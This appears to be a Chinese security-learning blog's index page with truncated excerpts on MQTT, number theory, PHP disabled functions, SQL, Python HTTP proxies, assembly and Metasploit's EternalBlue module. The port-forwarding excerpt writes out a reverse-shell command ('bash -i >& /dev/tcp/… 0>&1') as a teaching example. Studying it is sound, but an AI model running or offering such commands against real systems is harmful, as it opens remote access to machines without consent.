MQTT的学习与搭建
看了一个澳国立的项目,感觉中规中矩,练习强度很好,MQTT是物联网领域非常通用的协议。用来非同步传输消息,因同步传输可能出现网络收敛。那么我们来看看MQTT的1工作机制
MQTT工作流程MQTT有三个部分,分别为subscriber, broker, publisher。这三个部分我们可以理解为client, proxy, server。其实这个类比真的很恰当。
只不过他们最大的区别就是socket连接为TCP同步传输,而我们的MQTT协议是异步传输,可以由broker来控制。
subscriber用来订阅信息,也就是在发送的信息前面加个标头topic,叫做主题,接受信息的时候,只能接收publisher公布的标头与前面topic相吻合的信息。注:订阅的消息有Qos的性质,也就是可以订阅不同服务质量的信息。
QOS在MQTT中分为四种:
0:表示最多一次
1:至少一次
2:一次
3:预留
broker用来做中间人,也就是代理服务器。接收来自subcriber的订阅,然后等待publisher端的发布,一旦发布相同topic,broker就把此消息发回给subscriber,并且根据订阅 ...
阶,原根
计算逆的第二种方式费马小定理和快速幂算法提供给我们第二种计算模p的逆的方式,即
a^{-1} \equiv a^{p-2} \mod p$$虽然我们没见过这个式子,但是经过费马小定理的学习,
你应该也能看出这显然是正确的,因为 $$a^{-1}a \equiv a^{p-2}a \mod p1 \equiv a^{p-1} \mod p也就是说这可以代替了扩展欧几里得算法,并且可以再用快速幂算法减少时间复杂度。我们来看一个例子
::: ExampleExample 1. *考虑$m = 15485207$, 用我们的快速幂算法,不难得出
2^{m - 1} \equiv 2^{15485207 - 1} \equiv 4136685\mod 15485207我们并没有得到1,看起来费马小定理对于$m = 15485207$好像不对了。其实并不是,费马小定理告诉我们,当$m$是素数时我们才会得到1,那么就是说15485207并不是素数。*:::
我们证明出了m不是一个素数,但是并没有得到它的因子,这就引出了正题:阶。
阶::: DefinitionDefinition 1 (阶的定义). ...
PHP常用disabled_function的练习
PHP常用系统函数12345678910chdir() Changes the current directorychroot() Changes the root directoryclosedir() Closes a directory handledir() Returns an instance of the Directory classgetcwd() Returns the current working directoryopendir() Opens a directory handlereaddir() Returns an entry from a directory handlerewinddir() Resets a directory handlescandir() Returns an array of files and directories of a specified directory
123456789101112debug_backtrace() Generates a backtracedebug_print_backtrace() Pr ...
linux端口转发基础(0<&1的详细解释)
bash -i表示打开一个交互式的shell
如图
shell会变亮,那么有什么区别呢,可以查看当前shell的模式,好像变亮了。
1234567891011echo $$ 返回登录shell的PIDecho $? 返回上一个命令的状态,0表示没有错误,其它任何值表明有错误echo $# 返回传递到脚本的参数个数echo $* 以一个单字符串显示所有向脚本传递的参数,与位置变量不同,此选项参数可超过9个echo $! 返回后台运行的最后一个进程的进程ID号echo $@ 返回传递到脚本的参数个数,但是使用时加引号,并在引号中返回每个参数echo $- 显示shell使用的当前选项echo $0 是脚本本身的名字echo $_ 是保存之前执行的命令的最后一个参数echo $1 传入脚本的第一个参数echo $2 传入脚本的第二个参数
我们使用echo $-
在bash -i的情况下:
在非bash -i的情况下:
模式的名称不同。
我们分析一个反弹shell的命令
1bash -i >& /dev/tcp/192.168.3.104/8888 0>&1
...
Metasploit 复习-永恒之蓝漏洞
打开数据库 service postgresql start
然后打开msfocnsole后可以查看数据库连接状态
我们可以来学习一下基本命令
123456789101112131415banner:显示一个令人敬畏的metasploit横幅toggic color:切换颜色connect :与主机通信handler:监听back:返回上一级unset:取消设置的选项background:当前操作在后台运行info:显示一个或者多个模块的信息
我们用show来查看都有哪些模块
比如exploits就是漏洞利用模块,比如包含ms17_010漏洞,auxiliary为辅助模块,payloads为载荷。
1show all显示所有模块
如果是exploits模块,我们看顶上的分类,分别为漏洞等级,检查能否使用,描述(一般为应用场景)
如果是payloads模块就是 操作系统/类型/名称
然后info 可以查看模块详细信息
我们可以用search来寻找想要的模块,search命令
12345678910111213141516171819202122232425262728293 ...
数据库sql查询速成
先来看order by1SELECT Company, OrderNumber FROM Orders ORDER BY Company
表示按照company字段的字母来排序。
也可以用其他字段来排序比如
1SELECT Company, OrderNumber FROM Orders ORDER BY Company, OrderNumber
就是先按company,然后按Ordernumber。
再来看insert语句向表中插入新的行
1INSERT INTO 表 VALUES(值1,2,3..);
也可以指定插入数据的列
1INSERT INTO table_name (列1 ,2) VALUES (值1,2)
举例:
1INSERT INTO Persons VALUES ('Gates', 'Bill', 'Xuanwumen 10', 'Beijing')
即向表Persons中的4个列分别赋上述值。
我们也可以指定列插入值:
1INSERT INTO Persons (LastName, ...
python实现http代理(可加载css等全部效果)
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091import socketimport threadingimport timeclass Proxy: def __init__(self): # 我们要设置一个初始套接字等待客户端的连 self.client_addr = None self.recv_client = None self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 代表基于IP地址的TCP套接字连接。 self.client_socket.setsockopt(socket.SOL_SOCKET, socket.SO_ ...
汇编语言学习(六)exe的制作
我们现在开始编写程序并生成exe。
它的过程主要分为两步:1.编写汇编源程序。2.对源程序进行编译连接。连接生成的exe为windows系统下的可执行文件,可执行文件包含两部分内容:程序(汇编指令翻译过来的机器码)和数据(源程序中定义的数据),相关的描述信息(占用内存等)。
3.执行可执行文件中的程序。先进行相关初始化,比如调整CS:IP指针的位置,让CPU开始执行。
源程序程序示例:1234567891011assume cs:codesgcodesg segment mov ax,0123h mov bx,0456h add ax,bx add ax,ax mov ax,4c00h int 21hcodesg endsend
1.伪指令指令分为汇编指令和伪指令,伪指令由编译器执行,汇编指令翻译成机器码由CPU执行。
segment和ends是一对成对的伪指令,功能是定义一个段。segment表示段开始,ends表示段结束。
而定义的方式也很形象,段名 + segment,如代码中所示,第二行即为开始。
一个有意义的汇编程序至少要有一个段,用来存放代码。
最后一行的e ...
python实现http代理(含转发功能)
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106import reimport socketimport _threadimport osimport reimport os.pathclass Proxy: def __init__(self): # 我们要设置一个初始套接字等待客户端的连 self.recv_client = None self.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 代表基于IP地址的TCP套接字连接。 self.client_socket.setsoc ...
crypto基础:数论(一)群环域的引入
今天开始,我将我掌握的数论内容,经过大脑的排版,以通俗易懂的方式记下。
环的引入Definition我们先从以环定义一个集合
\mathbb{Z}/m\mathbb{Z} = \{0,1,2,3,...,m-1 \}我们把这个符号称作模m的环。
很形象的理解,环嘛,就是转一圈。有限制的,到m-1就回来了。我们将环中的任意元素相加,相乘,结果再模m就会得到我们环中的元素,这就是说,怎样都无法出圈了。
如图:
\begin{tabular}{|c|c|c|c|c|c|}
\hline
+ & 0 & 1 & 2 & 3 & 4\\
\hline
0 & 0 & 1 & 2 & 3 & 4\\
\hline
1 & 1 & 2 & 3 & 4 & 0\\
\hline
2 & 2 & 3 & 4 & 0 & 1\\
\hline
3 & 3 & 4 & 0 & 1 & 2\\
\hline
4 & 4 & 0 & 1 & 2 & 3\\
\hline
\end{tabular}表格中是一个模5的环$\mathbb{Z}/5\mathbb{Z}$
并且给出了全部的加法和乘法模5之后的结 ...



